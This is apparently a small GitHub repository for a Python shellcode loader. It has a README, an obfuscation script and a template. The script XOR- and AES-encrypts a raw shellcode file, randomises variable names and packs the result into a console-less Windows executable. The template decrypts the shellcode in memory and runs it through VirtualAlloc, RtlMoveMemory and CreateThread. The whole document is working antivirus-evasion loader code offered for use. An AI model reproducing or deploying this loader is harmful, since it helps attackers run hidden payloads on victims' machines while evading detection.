├── Readme.md ├── obfuscate.py └── python_x86_template.py /Readme.md: -------------------------------------------------------------------------------- 1 | # PythonAESObfuscate 2 | Pythonic way to load shellcode. Builds an EXE for you too! 3 | 4 | ### Usage 5 | * Place a `payload.bin` raw shellcode file in the same directory. Default Architecture is x86 6 | * run `python obfuscate.py` 7 | * Default output is `out.py` 8 | 9 | #### Requirements 10 | * Windows 11 | * Python 2.7 12 | * Pyinstaller 13 | * PyCrypto (PyCryptodome didn't seem to work) -------------------------------------------------------------------------------- /obfuscate.py: -------------------------------------------------------------------------------- 1 | # Limitations: Does not work for 64 bit at this time, Also, Only Python2 2 | import hashlib 3 | from Crypto.Cipher import AES 4 | from Crypto.Random import get_random_bytes 5 | import base64 6 | import random 7 | import string 8 | import binascii 9 | from itertools import cycle,izip 10 | import subprocess 11 | import os 12 | import shutil 13 | 14 | arch = 'x86' # do x64 for 64 bit 15 | payload_file = "payload.bin" # Shellcode filename 16 | outfile = "out.py" # Output file 17 | pad = lambda s,p: s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size) 18 | #unpad = lambda s,p : s[0:-ord(s[-1])] 19 | 20 | def randomString(stringLength=random.choice(range(5, random.choice(range(10,25))))): 21 | letters = string.ascii_lowercase + string.ascii_uppercase + string.digits 22 | return str(random.choice(string.ascii_lowercase + string.ascii_uppercase) + ''.join(random.choice(letters) for i in range(stringLength))).strip() 23 | 24 | def bin_to_hex(payload_file): 25 | file = open(payload_file,'rb').read() 26 | data = str(binascii.hexlify(file)) 27 | return data 28 | 29 | def xor(binary,key): 30 | return base64.b64encode(''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(binary,cycle(key)))) 31 | 32 | # def xor_decode(data,key): 33 | # return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(list(b64decode(data)),cycle(key))) 34 | 35 | class AESCipher: 36 | def __init__(self, key): 37 | self.key = hashlib.sha256(key.encode('utf8')).digest() 38 | self.bs = AES.block_size 39 | 40 | def encrypt(self, data): 41 | iv = get_random_bytes(AES.block_size) 42 | self.cipher = AES.new(self.key, AES.MODE_CBC, iv) 43 | return base64.b64encode(iv + self.cipher.encrypt(pad(data.encode('utf-8'), AES.block_size))) 44 | 45 | # def decrypt(self, data): 46 | # raw = base64.b64decode(data) 47 | # self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size]) 48 | # return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size) 49 | 50 | def prepare_payload(payload): 51 | key = randomString(stringLength=31) 52 | xorkey = randomString(stringLength=random.choice(range(40, random.choice(range(50,100))))) 53 | cipher = AESCipher(key=key) 54 | return cipher.encrypt(xor(payload, xorkey)), key, xorkey 55 | 56 | hexdata = bin_to_hex(payload_file) 57 | template = open('python_%s_template.py' % arch, 'r').read() 58 | i = 1 59 | while i < 50: 60 | template = template.replace("---VAR%d---" % i, randomString(stringLength=random.choice(range(5, random.choice(range(10,25)))))) 61 | i = i + 1 62 | 63 | payload, key, xorkey = prepare_payload(hexdata[::-1]) 64 | 65 | 66 | template = template.replace("---PAYLOAD---", payload) 67 | template = template.replace("---CIPHER---", key) 68 | template = template.replace("---XORKEY---", xorkey) 69 | 70 | open(outfile,'w').write(template) 71 | subprocess.check_output('pyinstaller -F %s --noconsole --clean --distpath .\\' % outfile) 72 | shutil.rmtree('build') 73 | os.remove((outfile.split('.')[0] + '.spec')) 74 | os.remove(outfile) -------------------------------------------------------------------------------- /python_x86_template.py: -------------------------------------------------------------------------------- 1 | from ctypes import c_int as ---VAR1--- 2 | import ctypes as ---VAR25--- 3 | from ctypes import pointer as ---VAR5--- 4 | from ctypes import c_char as ---VAR6--- 5 | import hashlib as ---VAR2--- 6 | from Crypto.Cipher import AES as ---VAR3--- 7 | from base64 import b64decode as ---VAR7--- 8 | from binascii import unhexlify as ---VAR8--- 9 | from itertools import cycle as ---VAR9--- 10 | from itertools import izip as ---VAR10--- 11 | 12 | ---VAR4--- = lambda s,p : s[0:-ord(s[-1])] 13 | 14 | ---VAR11--- = '---CIPHER---' 15 | 16 | def ---VAR12---(---VAR13---,---VAR14---): 17 | return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in ---VAR10---(list(---VAR7---(---VAR13---)),---VAR9---(---VAR14---))) 18 | 19 | class ---VAR16---: 20 | def __init__(self, ---VAR17---): 21 | self.---VAR18--- = ---VAR2---.sha256(---VAR17---.encode('utf8')).digest() 22 | self.bs = ---VAR3---.block_size 23 | 24 | def ---VAR19---(self, ---VAR21---): 25 | ---VAR22--- = ---VAR7---(---VAR21---) 26 | self.---VAR20--- = ---VAR3---.new(self.---VAR18---, ---VAR3---.MODE_CBC, ---VAR22---[:---VAR3---.block_size]) 27 | return ---VAR4---(self.---VAR20---.decrypt(---VAR22---[---VAR3---.block_size:]), ---VAR3---.block_size) 28 | 29 | ---VAR23--- = '---PAYLOAD---' 30 | ---VAR24--- = ---VAR16---(---VAR11---) 31 | ---VAR15--- = '---XORKEY---' 32 | ---VAR26--- = bytearray(---VAR8---(---VAR12---(---VAR24---.---VAR19---(---VAR23---),---VAR15---)[::-1])) 33 | 34 | ---VAR27--- = ---VAR25---.windll.kernel32.VirtualAlloc(---VAR1---(0), ---VAR1---(len(---VAR26---)), ---VAR1---(0x3000), ---VAR1---(0x40)) 35 | 36 | ---VAR28--- = (---VAR6--- * len(---VAR26---)).from_buffer(---VAR26---) 37 | 38 | ---VAR25---.windll.kernel32.RtlMoveMemory(---VAR1---(---VAR27---), ---VAR28---, ---VAR1---(len(---VAR26---))) 39 | 40 | ---VAR29--- = ---VAR25---.windll.kernel32.CreateThread(---VAR1---(0), ---VAR1---(0), ---VAR1---(---VAR27---), ---VAR1---(0), ---VAR1---(0), ---VAR5---(---VAR1---(0))) 41 | 42 | ---VAR25---.windll.kernel32.WaitForSingleObject(---VAR1---(---VAR29---), ---VAR1---(-1)) --------------------------------------------------------------------------------